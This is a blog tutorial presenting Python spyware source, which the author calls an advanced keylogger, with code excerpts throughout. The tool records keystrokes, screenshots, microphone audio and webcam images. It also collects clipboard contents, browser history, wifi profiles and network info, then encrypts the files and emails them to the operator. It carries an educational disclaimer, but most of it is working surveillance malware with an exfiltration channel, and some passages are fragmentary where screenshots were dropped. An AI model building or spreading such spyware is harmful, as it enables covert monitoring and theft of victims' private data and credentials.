I made a Python keylogger that sends emails containing recorded data from the target machine, and this post explains how it works! This program is essentially a piece of spyware with features such as keylogging, taking screenshots, recording microphones, and taking webcam pictures.
My intent with this project is purely for learning and experimentation; unethical use is strictly prohibited. Do NOT use this software on resources you do not own or have explicit permissions for.
Getting Started with the Keylogger
To start out go to my GitHub to download the project and also please review the README provided.
This will ensure proper steps have been taken to minimize issues or errors from missing dependencies.
Just a heads up, this keylogger program uses numerous modules and a handful of them are not installed with Python by default.
import subprocess, socket, win32clipboard, os, re, smtplib, \ logging, pathlib, json, time, cv2, sounddevice, shutil import requests import browserhistory as bh from multiprocessing import Process from pynput.keyboard import Key, Listener from PIL import ImageGrab from scipy.io.wavfile import write as write_rec from cryptography.fernet import Fernet from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.base import MIMEBase from email import encoders
Some of these may need to be installed before you can run the keylogger. Try opening an interpreter and import each module individually.
The modules that fail are the ones that need to be installed via PIP. Search engines are a lifesaver for finding module names.
For example, for
from cryptography.fernet import Fernet you could install it via
pip install cryptography as explained here.
Just be careful because there are sometimes multiple modules with very similar names so they can be easily mixed up.
After the modules are installed open up the keylogger program in the text editor of choice.
The Keylogger’s Starting Point
Open up theAdvancedKeylogger.py, which is the main keylogger code file.
The program starts out by executing the main function in a try-except statement.
This can be really useful for providing simplified global error handling and exit point via keyboard interrupt (Ctrl + C).
The way the logging module is set up will log the full stack trace of the error to a file and pass to continue operation.
This base setup provides some global benefits to the program while simplifying error handling.
main and any corresponding functions, additional try-except statements can be used on a more granular level.
When an error occurs a detailed full stack trace can be logged to a file for an admin; while the user receives a much more vague message preventing information leakage.
Gathering Network and System Info
main is initiated the program begins by creating a directory to store the data it will gather.
A file path is assigned to a variable as
C:\Users\Public\Logs (created directory).
pathlib.Path('C:/Users/Public/Logs').mkdir(parents=True, exist_ok=True) file_path = 'C:\\Users\\Public\\Logs\\'
To gather the essential network information, a context manager is used to manage the file the data is written to.
Using the subprocess module a shell executes the specified commands with the standard output and error directed to the log file.
The communicate funtion is used to initiate a 60 second timeout for the shell.
outs, errs = commands.communicate(timeout=60)
When the timeout ends the process is killed and communicate is used to alert the system the process has been terminated.
except subprocess.TimeoutExpired: commands.kill() out, errs = commands.communicate()
Obtaining the system information is essentially the same process as just described, with variations of the commands being entered and the output redirected to a different file.
Also the requests module is used to attempt to obtain the public IP address with ipipfy online api.
public_ip = requests.get('https://api.ipify.org').text
So within 1 minute and 15 seconds of starting the program all the essential network and system info has been attained.
This information alone opens a pretty large surface to local or remote attacks.
Get Clipboard and Browser Information
win32clipboard module the system grabs the most recent clipboard data and saves it to a file.
win32clipboard.OpenClipboard() pasted_data = win32clipboard.GetClipboardData() win32clipboard.CloseClipboard() with open(file_path + 'clipboard_info.txt', 'a') as clipboard_info: clipboard_info.write('Clipboard Data: \n' + pasted_data)
browserhistory module is used to obtain the browser username, database paths, and history in JSON format.
All three are extended to a single list and written to a file using the json module.
browser_history =  bh_user = bh.get_username() db_path = bh.get_database_paths() hist = bh.get_browserhistory() browser_history.extend((bh_user, db_path, hist)) with open(file_path + 'browser.txt', 'a') as browser_txt: browser_txt.write(json.dumps(browser_history))
At this point, the process of concurrently gathering information is finished; it’s time for multiprocessing!
Essentially what this section does is set up four parallel processes that will execute simultaneously.
p1 = Process(target=logg_keys, args=(file_path,)) ; p1.start() p2 = Process(target=screenshot, args=(file_path,)) ; p2.start() p3 = Process(target=microphone, args=(file_path,)) ; p3.start() p4 = Process(target=webcam, args=(file_path,)) ; p4.start()
The processes are joined with a timeout of 300 seconds and will automatically terminate when the timeout is finished.
The four functions on the screenshot below should look familiar. That is because they are the four multiprocessing functions with parallel execution.
logg_keys function is a basic keylogger that gets the job done (and where it gets its name from!).
screenshot function is a loop that saves a screenshot every 5 seconds.
microphone function is a loop that records the microphone for 60 second intervals; which is necessary to meet email attachment size limitations.
webcam function is a loop that save a picture every 5 seconds.
All these functions run simultaneously for 5 minutes and terminate when the timeout is complete.
Encrypt Files and Exfiltrate Them
This section assigns the
.txt files to a variable and uses regex to select any xml files (wifi data) to append to the txt file variable.
The key is the encryption key used to encrypt the select data files. For each file in the list of files, the plain text file is binary read to be encrypted and written to a fresh file.
Prior to this operation the plain text data is deleted and the encrypted data is sent to a email function (described next section).
After the email is sent all gathered data is deleted and the main function is called to loop back to the beginning.
Understanding the Email Function
On the screenshot below please ignore the highlighted text:
smtp_handler functions are mainly used to reduce redundant code.
This is because the emails need to be treated in a very specific manner due to email attachment size limitations.
For example Google’s attachment limit is 25 Mb per email.
So considering this program produces 5 videos around 20 Mb it becomes quite clear this could cause issues with size limits.
The screenshot below is how this issue was handled:
send_email function begins by compiling a different regular expression (regex) for each extension type to be emailed.
regex = re.compile(r'.+\.xml$') regex2 = re.compile(r'.+\.txt$') regex3 = re.compile(r'.+\.png$') regex4 = re.compile(r'.+\.jpg$') regex5 = re.compile(r'.+\.wav$')
A variable msg is defined as an attachable email message and passed into the email base function to craft the base information of the email.
At this point this data structure might look like a lot to take in, but it is relatively simple when explained step by step.
Considering there are five different types of data with a limit of 25 Mb per email attachments, the best option is to attach all of a single data type to an individual email.
The exception to this is WAV files considering the size issues mentioned before.
This issue can be solved by assigning each WAV clip to its own individual email and send it per match.
So it starts by setting a variable to exclude the Screenshots and WebcamPics directories.
exclude = set(['Screenshots', 'WebcamPics'])
Using the os module, the walk function is used the select all the files in the specified path.
for dirpath, dirnames, filenames in os.walk(path, topdown=True):
dirnames uses a slice index to ignore any directories in the specified path to prevent errors.
For each file in the filenames in the specified path, it will try to match the file extension to one of the regex variables. (The ones defined previously as
If one of the first four regex variables match, then all of files of that data type will be attached to a single email message.
If regex5(WAV) variable matches, then that single match will be attached to its own individual email and sent.
match expression 1(xml) -> attach to email -> scan again ; match expression (1)xml -> attach to same email -> scan again; match expression 2(txt) -> attach to new email -> scan again
match expression 5(wav) -> create new email -> attach to email -> send ; match expression 5(wav) -> create new email -> attach to email -> send
The last two lines are cut off in screenshot (else partially visible).
If there are no matches then pass is called to keep the program moving.
smtp_handler is called to send any of the non WAV files.
smtp_handler(email_address, password, msg)
After receiving all the gathered data, download and move them to the path specified in decryptFile.py.
path = 'C:/Users/Public/Logs/'
This file is essentially an inverse of the encryption function in the original program.
Run it to see the encrypted files turn back into their original plain text form!
That is all there is to this keylogger program! I tried to keep it as simple as possible while maximizing its functionality.
I hope you enjoyed and benefited from this tutorial, and please don’t hesitate to ask in the comments if you have any questions!